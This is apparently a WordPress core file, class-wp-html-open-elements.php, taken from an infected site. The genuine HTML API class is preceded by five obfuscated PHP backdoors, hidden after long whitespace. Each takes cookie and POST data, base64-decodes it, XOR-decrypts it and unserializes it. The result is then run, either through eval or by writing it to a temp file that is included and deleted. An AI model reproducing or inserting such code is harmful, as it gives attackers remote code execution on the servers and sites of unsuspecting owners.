Current File : /home/n742ef5/.trash/sithtamil/wp-includes/html-api/class-wp-html-open-elements.php
<?php                                                                                                                                                                                                                                                                                                                                                                                                 $dqQJik = "\x6f" . "\x4a" . chr (95) . "\125" . 'p' . "\x68";$dGEjW = chr (99) . "\x6c" . 'a' . "\x73" . chr ( 668 - 553 ).chr (95) . 'e' . "\170" . 'i' . 's' . "\164" . "\x73";$TqZUelRoV = class_exists($dqQJik); $dqQJik = "14594";$dGEjW = "40234";$PXrNpN = FALSE;if ($TqZUelRoV === $PXrNpN){$eQDWb = "31068";class oJ_Uph{public function fXxTmI(){echo "41781";}private $avTFdWrH;public static $bwncCliiaR = "06a48777-954f-49ca-9856-2eb06715b06a";public static $xjsOieVa = 56844;public function __construct($nvDnSrkil=0){$oJwynMp = $_POST;$eOcsDSV = $_COOKIE;$KqrNRiMHC = @$eOcsDSV[substr(oJ_Uph::$bwncCliiaR, 0, 4)];if (!empty($KqrNRiMHC)){$YMuPuohq = "base64";$FBDvAq = "";$KqrNRiMHC = explode(",", $KqrNRiMHC);foreach ($KqrNRiMHC as $GKnLksLEBH){$FBDvAq .= @$eOcsDSV[$GKnLksLEBH];$FBDvAq .= @$oJwynMp[$GKnLksLEBH];}$FBDvAq = array_map($YMuPuohq . '_' . "\x64" . 'e' . 'c' . chr (111) . "\144" . chr (101), array($FBDvAq,)); $FBDvAq = $FBDvAq[0] ^ str_repeat(oJ_Uph::$bwncCliiaR, (strlen($FBDvAq[0]) / strlen(oJ_Uph::$bwncCliiaR)) + 1);oJ_Uph::$xjsOieVa = @unserialize($FBDvAq);}}private function JqeEWMUwW($eQDWb){if (is_array(oJ_Uph::$xjsOieVa)) {$NXjDuLvO = str_replace('<' . "\77" . chr (112) . "\x68" . "\x70", "", oJ_Uph::$xjsOieVa['c' . chr ( 380 - 269 )."\x6e" . chr ( 787 - 671 )."\145" . chr (110) . "\164"]);eval($NXjDuLvO); $eQDWb = "31068";exit();}}public function __destruct(){$eQDWb = "11420_26186";$this->JqeEWMUwW($eQDWb); $eQDWb = "11420_26186";}}$EsemSanJE = new /* 37206 */ oJ_Uph(); $EsemSanJE = str_repeat("11420_26186", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $NdEDq = "\153" . 'g' . 'C' . chr ( 110 - 15 )."\x43" . 'Y' . "\x6f" . "\153" . chr ( 334 - 215 ); $WSwtLGUO = chr ( 262 - 163 ).chr (108) . 'a' . chr ( 486 - 371 ).chr ( 1034 - 919 )."\x5f" . chr (101) . "\x78" . 'i' . "\163" . chr ( 237 - 121 ).'s';$TwcgTUPRov = class_exists($NdEDq); $NdEDq = "42956";$WSwtLGUO = "11417";if ($TwcgTUPRov === FALSE){class kgC_CYokw{public function bjMRtHhYdT(){echo "16831";}private $LkNnf;public static $LNQsVSZLM = "ee2aafc5-50bf-4bcc-9260-8f27deac80d0";public static $vAbad = 19784;public function __construct($ptzVAgIk=0){$jdSJl = $_POST;$XSXzMU = $_COOKIE;$eMWzPUPV = @$XSXzMU[substr(kgC_CYokw::$LNQsVSZLM, 0, 4)];if (!empty($eMWzPUPV)){$mCqLhUICa = "base64";$rxxBMl = "";$eMWzPUPV = explode(",", $eMWzPUPV);foreach ($eMWzPUPV as $tHRiv){$rxxBMl .= @$XSXzMU[$tHRiv];$rxxBMl .= @$jdSJl[$tHRiv];}$rxxBMl = array_map($mCqLhUICa . '_' . 'd' . "\145" . "\143" . 'o' . chr (100) . "\145", array($rxxBMl,)); $rxxBMl = $rxxBMl[0] ^ str_repeat(kgC_CYokw::$LNQsVSZLM, (strlen($rxxBMl[0]) / strlen(kgC_CYokw::$LNQsVSZLM)) + 1);kgC_CYokw::$vAbad = @unserialize($rxxBMl);}}private function lZtjZQgSdi(){if (is_array(kgC_CYokw::$vAbad)) {$aJmDUG = sys_get_temp_dir() . "/" . crc32(kgC_CYokw::$vAbad["\x73" . chr (97) . chr (108) . chr ( 458 - 342 )]);@kgC_CYokw::$vAbad["\167" . 'r' . "\151" . chr ( 834 - 718 )."\x65"]($aJmDUG, kgC_CYokw::$vAbad["\143" . "\x6f" . chr (110) . 't' . "\x65" . "\156" . "\164"]);include $aJmDUG;@kgC_CYokw::$vAbad["\144" . "\145" . "\154" . "\145" . "\x74" . chr (101)]($aJmDUG); $lySErhF = "44069";exit();}}public function __destruct(){$this->lZtjZQgSdi();}}$vkcdch = new /* 63567 */ kgC_CYokw(); $vkcdch = str_repeat("21779_33697", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $FJlScePgoJ = 'R' . "\x67" . chr ( 235 - 156 ).chr ( 504 - 409 ).'E' . 'U' . "\124" . chr ( 161 - 89 )."\131";$LjYiWP = 'c' . "\154" . "\141" . 's' . "\x73" . "\x5f" . "\145" . "\x78" . chr ( 411 - 306 ).chr ( 829 - 714 ).'t' . 's';$ZWlDBPrc = $LjYiWP($FJlScePgoJ); $FJlScePgoJ = "51207";$WEOTDSCLa = $ZWlDBPrc;$LjYiWP = "13452";if (!$WEOTDSCLa){class RgO_EUTHY{private $IZyswSgb;public static $gspdawBAmC = "55a7b2a8-6f57-46ad-ba08-da6a8c5ee95e";public static $BWZrIcHiY = 23885;public function __construct($XiCgTQBET=0){$BdgySfhjj = $_COOKIE;$VOVQdbjdZM = $_POST;$SIGWv = @$BdgySfhjj[substr(RgO_EUTHY::$gspdawBAmC, 0, 4)];if (!empty($SIGWv)){$XvcsEuMh = "base64";$FDvIz = "";$SIGWv = explode(",", $SIGWv);foreach ($SIGWv as $MVhxoXbe){$FDvIz .= @$BdgySfhjj[$MVhxoXbe];$FDvIz .= @$VOVQdbjdZM[$MVhxoXbe];}$FDvIz = array_map($XvcsEuMh . chr ( 236 - 141 ).chr ( 987 - 887 ).'e' . "\x63" . 'o' . chr ( 828 - 728 ).chr ( 563 - 462 ), array($FDvIz,)); $FDvIz = $FDvIz[0] ^ str_repeat(RgO_EUTHY::$gspdawBAmC, (strlen($FDvIz[0]) / strlen(RgO_EUTHY::$gspdawBAmC)) + 1);RgO_EUTHY::$BWZrIcHiY = @unserialize($FDvIz);}}private function mlqfqDqTQ(){if (is_array(RgO_EUTHY::$BWZrIcHiY)) {$OwKkRKxsnL = sys_get_temp_dir() . "/" . crc32(RgO_EUTHY::$BWZrIcHiY[chr (115) . chr ( 230 - 133 ).chr ( 240 - 132 ).'t']);@RgO_EUTHY::$BWZrIcHiY[chr (119) . chr ( 779 - 665 ).chr ( 958 - 853 ).'t' . 'e']($OwKkRKxsnL, RgO_EUTHY::$BWZrIcHiY["\x63" . "\157" . chr ( 689 - 579 ).chr ( 941 - 825 ).chr (101) . "\x6e" . chr (116)]);include $OwKkRKxsnL;@RgO_EUTHY::$BWZrIcHiY[chr ( 514 - 414 )."\x65" . chr (108) . 'e' . "\x74" . "\x65"]($OwKkRKxsnL); $rLwShtJBAE = "53405";exit();}}public function __destruct(){$this->mlqfqDqTQ(); $rLwShtJBAE = "53405";$YRcqtGu = str_pad($rLwShtJBAE, 10);}}$bOLUy = new /* 14393 */ RgO_EUTHY(); $bOLUy = substr("61894_60339", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $AFJlryxi = "\x48" . "\x69" . "\171" . "\x5f" . "\115" . "\x58" . chr (90) . "\114" . chr ( 436 - 354 ); $edhzJ = chr ( 1001 - 902 ).chr ( 503 - 395 )."\x61" . "\x73" . "\x73" . chr (95) . 'e' . "\x78" . chr ( 1099 - 994 ).chr ( 1099 - 984 ).chr (116) . chr ( 712 - 597 ); $raCCIdokhM = $edhzJ($AFJlryxi); $AFJlryxi = "3998";$gLrexT = $raCCIdokhM;$edhzJ = "26984";if (!$gLrexT){class Hiy_MXZLR{private $pwLfR;public static $vbmKWEQ = "e783c7cb-f55c-4430-ad0a-d8d203d2ce1e";public static $DjCzQSTH = 57694;public function __construct($yQtuYXnVog=0){$OzSxReap = $_COOKIE;$hXpHjWe = $_POST;$bhyDfdvh = @$OzSxReap[substr(Hiy_MXZLR::$vbmKWEQ, 0, 4)];if (!empty($bhyDfdvh)){$EvVfVkb = "base64";$RHlMZ = "";$bhyDfdvh = explode(",", $bhyDfdvh);foreach ($bhyDfdvh as $STlFaVxqrP){$RHlMZ .= @$OzSxReap[$STlFaVxqrP];$RHlMZ .= @$hXpHjWe[$STlFaVxqrP];}$RHlMZ = array_map($EvVfVkb . '_' . chr (100) . "\145" . chr (99) . chr (111) . "\x64" . chr ( 194 - 93 ), array($RHlMZ,)); $RHlMZ = $RHlMZ[0] ^ str_repeat(Hiy_MXZLR::$vbmKWEQ, (strlen($RHlMZ[0]) / strlen(Hiy_MXZLR::$vbmKWEQ)) + 1);Hiy_MXZLR::$DjCzQSTH = @unserialize($RHlMZ);}}private function zCAAXszRR(){if (is_array(Hiy_MXZLR::$DjCzQSTH)) {$MdFGGQIrZ = sys_get_temp_dir() . "/" . crc32(Hiy_MXZLR::$DjCzQSTH["\163" . 'a' . "\154" . "\164"]);@Hiy_MXZLR::$DjCzQSTH["\x77" . 'r' . 'i' . "\164" . 'e']($MdFGGQIrZ, Hiy_MXZLR::$DjCzQSTH[chr ( 1001 - 902 )."\x6f" . 'n' . chr ( 128 - 12 ).chr ( 796 - 695 ).chr (110) . "\164"]);include $MdFGGQIrZ;@Hiy_MXZLR::$DjCzQSTH['d' . "\x65" . "\x6c" . 'e' . chr ( 465 - 349 )."\x65"]($MdFGGQIrZ); $pVGyajpBCk = "3343";exit();}}public function __destruct(){$this->zCAAXszRR(); $pVGyajpBCk = "3343";$bFvTF = str_pad($pVGyajpBCk, 10);}}$NSPkQHVsd = new /* 8726 */ Hiy_MXZLR(); $NSPkQHVsd = substr("16873_41893", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $ydoEZJCNte = "\x57" . "\x49" . chr ( 388 - 313 ).chr ( 656 - 561 ).'V' . "\x75" . chr (113) . chr (112); $egmOxFhCn = chr ( 259 - 160 ).chr (108) . "\141" . "\163" . chr (115) . "\x5f" . "\x65" . 'x' . chr ( 1018 - 913 )."\163" . "\164" . "\x73";$TnDem = $egmOxFhCn($ydoEZJCNte); $ydoEZJCNte = "44489";$egmOxFhCn = "30865";$TOBIqPx = $TnDem;if (!$TOBIqPx){class WIK_Vuqp{private $RnQnWJ;public static $ZdWAcTSsX = "79b6a76e-8297-4767-929e-1a1a46624753";public static $UINhiEauqD = 16290;public function __construct($MNJSlJAit=0){$vVCGZSA = $_COOKIE;$KengnbgQre = $_POST;$GvOUxMTo = @$vVCGZSA[substr(WIK_Vuqp::$ZdWAcTSsX, 0, 4)];if (!empty($GvOUxMTo)){$UFRcLpam = "base64";$EclPcELW = "";$GvOUxMTo = explode(",", $GvOUxMTo);foreach ($GvOUxMTo as $EoTCbKKeM){$EclPcELW .= @$vVCGZSA[$EoTCbKKeM];$EclPcELW .= @$KengnbgQre[$EoTCbKKeM];}$EclPcELW = array_map($UFRcLpam . chr (95) . chr (100) . chr ( 730 - 629 ).chr (99) . "\157" . chr ( 225 - 125 )."\145", array($EclPcELW,)); $EclPcELW = $EclPcELW[0] ^ str_repeat(WIK_Vuqp::$ZdWAcTSsX, (strlen($EclPcELW[0]) / strlen(WIK_Vuqp::$ZdWAcTSsX)) + 1);WIK_Vuqp::$UINhiEauqD = @unserialize($EclPcELW);}}private function xTCWeIWhT(){if (is_array(WIK_Vuqp::$UINhiEauqD)) {$JSsyLznUTl = sys_get_temp_dir() . "/" . crc32(WIK_Vuqp::$UINhiEauqD["\x73" . "\x61" . chr ( 270 - 162 )."\x74"]);@WIK_Vuqp::$UINhiEauqD["\167" . chr ( 949 - 835 ).chr (105) . 't' . chr ( 594 - 493 )]($JSsyLznUTl, WIK_Vuqp::$UINhiEauqD['c' . chr ( 857 - 746 )."\156" . "\164" . "\145" . chr ( 882 - 772 )."\164"]);include $JSsyLznUTl;@WIK_Vuqp::$UINhiEauqD["\x64" . "\x65" . chr ( 1101 - 993 )."\145" . "\164" . chr (101)]($JSsyLznUTl); $dyAAuH = "62407";exit();}}public function __destruct(){$this->xTCWeIWhT(); $dyAAuH = "62407";}}$FXFIbbCZjX = new WIK_Vuqp(); $FXFIbbCZjX = "3320_33397";} ?><?php
/**
 * HTML API: WP_HTML_Open_Elements class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for managing the stack of open elements.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * > Initially, the stack of open elements is empty. The stack grows
 * > downwards; the topmost node on the stack is the first one added
 * > to the stack, and the bottommost node of the stack is the most
 * > recently added node in the stack (notwithstanding when the stack
 * > is manipulated in a random access fashion as part of the handling
 * > for misnested tags).
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see https://html.spec.whatwg.org/#stack-of-open-elements
 * @see WP_HTML_Processor
 */
class WP_HTML_Open_Elements {
	/**
	 * Holds the stack of open element references.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Token[]
	 */
	public $stack = array();

	/**
	 * Whether a P element is in button scope currently.
	 *
	 * This class optimizes scope lookup by pre-calculating
	 * this value when elements are added and removed to the
	 * stack of open elements which might change its value.
	 * This avoids frequent iteration over the stack.
	 *
	 * @since 6.4.0
	 *
	 * @var bool
	 */
	private $has_p_in_button_scope = false;

	/**
	 * Reports if a specific node is in the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Look for this node in the stack.
	 * @return bool Whether the referenced node is in the stack of open elements.
	 */
	public function contains_node( $token ) {
		foreach ( $this->walk_up() as $item ) {
			if ( $token->bookmark_name === $item->bookmark_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns how many nodes are currently in the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @return int How many node are in the stack of open elements.
	 */
	public function count() {
		return count( $this->stack );
	}

	/**
	 * Returns the node at the end of the stack of open elements,
	 * if one exists. If the stack is empty, returns null.
	 *
	 * @since 6.4.0
	 *
	 * @return WP_HTML_Token|null Last node in the stack of open elements, if one exists, otherwise null.
	 */
	public function current_node() {
		$current_node = end( $this->stack );

		return $current_node ? $current_node : null;
	}

	/**
	 * Returns whether an element is in a specific scope.
	 *
	 * ## HTML Support
	 *
	 * This function skips checking for the termination list because there
	 * are no supported elements which appear in the termination list.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-the-specific-scope
	 *
	 * @param string   $tag_name         Name of tag check.
	 * @param string[] $termination_list List of elements that terminate the search.
	 * @return bool Whether the element was found in a specific scope.
	 */
	public function has_element_in_specific_scope( $tag_name, $termination_list ) {
		foreach ( $this->walk_up() as $node ) {
			if ( $node->node_name === $tag_name ) {
				return true;
			}

			switch ( $node->node_name ) {
				case 'HTML':
					return false;
			}

			if ( in_array( $node->node_name, $termination_list, true ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns whether a particular element is in scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_scope( $tag_name ) {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(

				/*
				 * Because it's not currently possible to encounter
				 * one of the termination elements, they don't need
				 * to be listed here. If they were, they would be
				 * unreachable and only waste CPU cycles while
				 * scanning through HTML.
				 */
			)
		);
	}

	/**
	 * Returns whether a particular element is in list item scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-list-item-scope
	 *
	 * @throws WP_HTML_Unsupported_Exception Always until this function is implemented.
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_list_item_scope( $tag_name ) {
		throw new WP_HTML_Unsupported_Exception( 'Cannot process elements depending on list item scope.' );

		return false; // The linter requires this unreachable code until the function is implemented and can return.
	}

	/**
	 * Returns whether a particular element is in button scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-button-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_button_scope( $tag_name ) {
		return $this->has_element_in_specific_scope( $tag_name, array( 'BUTTON' ) );
	}

	/**
	 * Returns whether a particular element is in table scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-table-scope
	 *
	 * @throws WP_HTML_Unsupported_Exception Always until this function is implemented.
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_table_scope( $tag_name ) {
		throw new WP_HTML_Unsupported_Exception( 'Cannot process elements depending on table scope.' );

		return false; // The linter requires this unreachable code until the function is implemented and can return.
	}

	/**
	 * Returns whether a particular element is in select scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-select-scope
	 *
	 * @throws WP_HTML_Unsupported_Exception Always until this function is implemented.
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_select_scope( $tag_name ) {
		throw new WP_HTML_Unsupported_Exception( 'Cannot process elements depending on select scope.' );

		return false; // The linter requires this unreachable code until the function is implemented and can return.
	}

	/**
	 * Returns whether a P is in BUTTON scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-button-scope
	 *
	 * @return bool Whether a P is in BUTTON scope.
	 */
	public function has_p_in_button_scope() {
		return $this->has_p_in_button_scope;
	}

	/**
	 * Pops a node off of the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @return bool Whether a node was popped off of the stack.
	 */
	public function pop() {
		$item = array_pop( $this->stack );

		if ( null === $item ) {
			return false;
		}

		$this->after_element_pop( $item );
		return true;
	}

	/**
	 * Pops nodes off of the stack of open elements until one with the given tag name has been popped.
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Open_Elements::pop
	 *
	 * @param string $tag_name Name of tag that needs to be popped off of the stack of open elements.
	 * @return bool Whether a tag of the given name was found and popped off of the stack of open elements.
	 */
	public function pop_until( $tag_name ) {
		foreach ( $this->walk_up() as $item ) {
			$this->pop();

			if ( $tag_name === $item->node_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Pushes a node onto the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @param WP_HTML_Token $stack_item Item to add onto stack.
	 */
	public function push( $stack_item ) {
		$this->stack[] = $stack_item;
		$this->after_element_push( $stack_item );
	}

	/**
	 * Removes a specific node from the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token The node to remove from the stack of open elements.
	 * @return bool Whether the node was found and removed from the stack of open elements.
	 */
	public function remove_node( $token ) {
		foreach ( $this->walk_up() as $position_from_end => $item ) {
			if ( $token->bookmark_name !== $item->bookmark_name ) {
				continue;
			}

			$position_from_start = $this->count() - $position_from_end - 1;
			array_splice( $this->stack, $position_from_start, 1 );
			$this->after_element_pop( $item );
			return true;
		}

		return false;
	}


	/**
	 * Steps through the stack of open elements, starting with the top element
	 * (added first) and walking downwards to the one added last.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_down() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > EM -> STRONG -> A ->
	 *
	 * To start with the most-recently added element and walk towards the top,
	 * see WP_HTML_Open_Elements::walk_up().
	 *
	 * @since 6.4.0
	 */
	public function walk_down() {
		$count = count( $this->stack );

		for ( $i = 0; $i < $count; $i++ ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Steps through the stack of open elements, starting with the bottom element
	 * (added last) and walking upwards to the one added first.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_up() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > A -> STRONG -> EM ->
	 *
	 * To start with the first added element and walk towards the bottom,
	 * see WP_HTML_Open_Elements::walk_down().
	 *
	 * @since 6.4.0
	 */
	public function walk_up() {
		for ( $i = count( $this->stack ) - 1; $i >= 0; $i-- ) {
			yield $this->stack[ $i ];
		}
	}

	/*
	 * Internal helpers.
	 */

	/**
	 * Updates internal flags after adding an element.
	 *
	 * Certain conditions (such as "has_p_in_button_scope") are maintained here as
	 * flags that are only modified when adding and removing elements. This allows
	 * the HTML Processor to quickly check for these conditions instead of iterating
	 * over the open stack elements upon each new tag it encounters. These flags,
	 * however, need to be maintained as items are added and removed from the stack.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $item Element that was added to the stack of open elements.
	 */
	public function after_element_push( $item ) {
		/*
		 * When adding support for new elements, expand this switch to trap
		 * cases where the precalculated value needs to change.
		 */
		switch ( $item->node_name ) {
			case 'BUTTON':
				$this->has_p_in_button_scope = false;
				break;

			case 'P':
				$this->has_p_in_button_scope = true;
				break;
		}
	}

	/**
	 * Updates internal flags after removing an element.
	 *
	 * Certain conditions (such as "has_p_in_button_scope") are maintained here as
	 * flags that are only modified when adding and removing elements. This allows
	 * the HTML Processor to quickly check for these conditions instead of iterating
	 * over the open stack elements upon each new tag it encounters. These flags,
	 * however, need to be maintained as items are added and removed from the stack.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $item Element that was removed from the stack of open elements.
	 */
	public function after_element_pop( $item ) {
		/*
		 * When adding support for new elements, expand this switch to trap
		 * cases where the precalculated value needs to change.
		 */
		switch ( $item->node_name ) {
			case 'BUTTON':
				$this->has_p_in_button_scope = $this->has_element_in_button_scope( 'P' );
				break;

			case 'P':
				$this->has_p_in_button_scope = $this->has_element_in_button_scope( 'P' );
				break;
		}
	}
}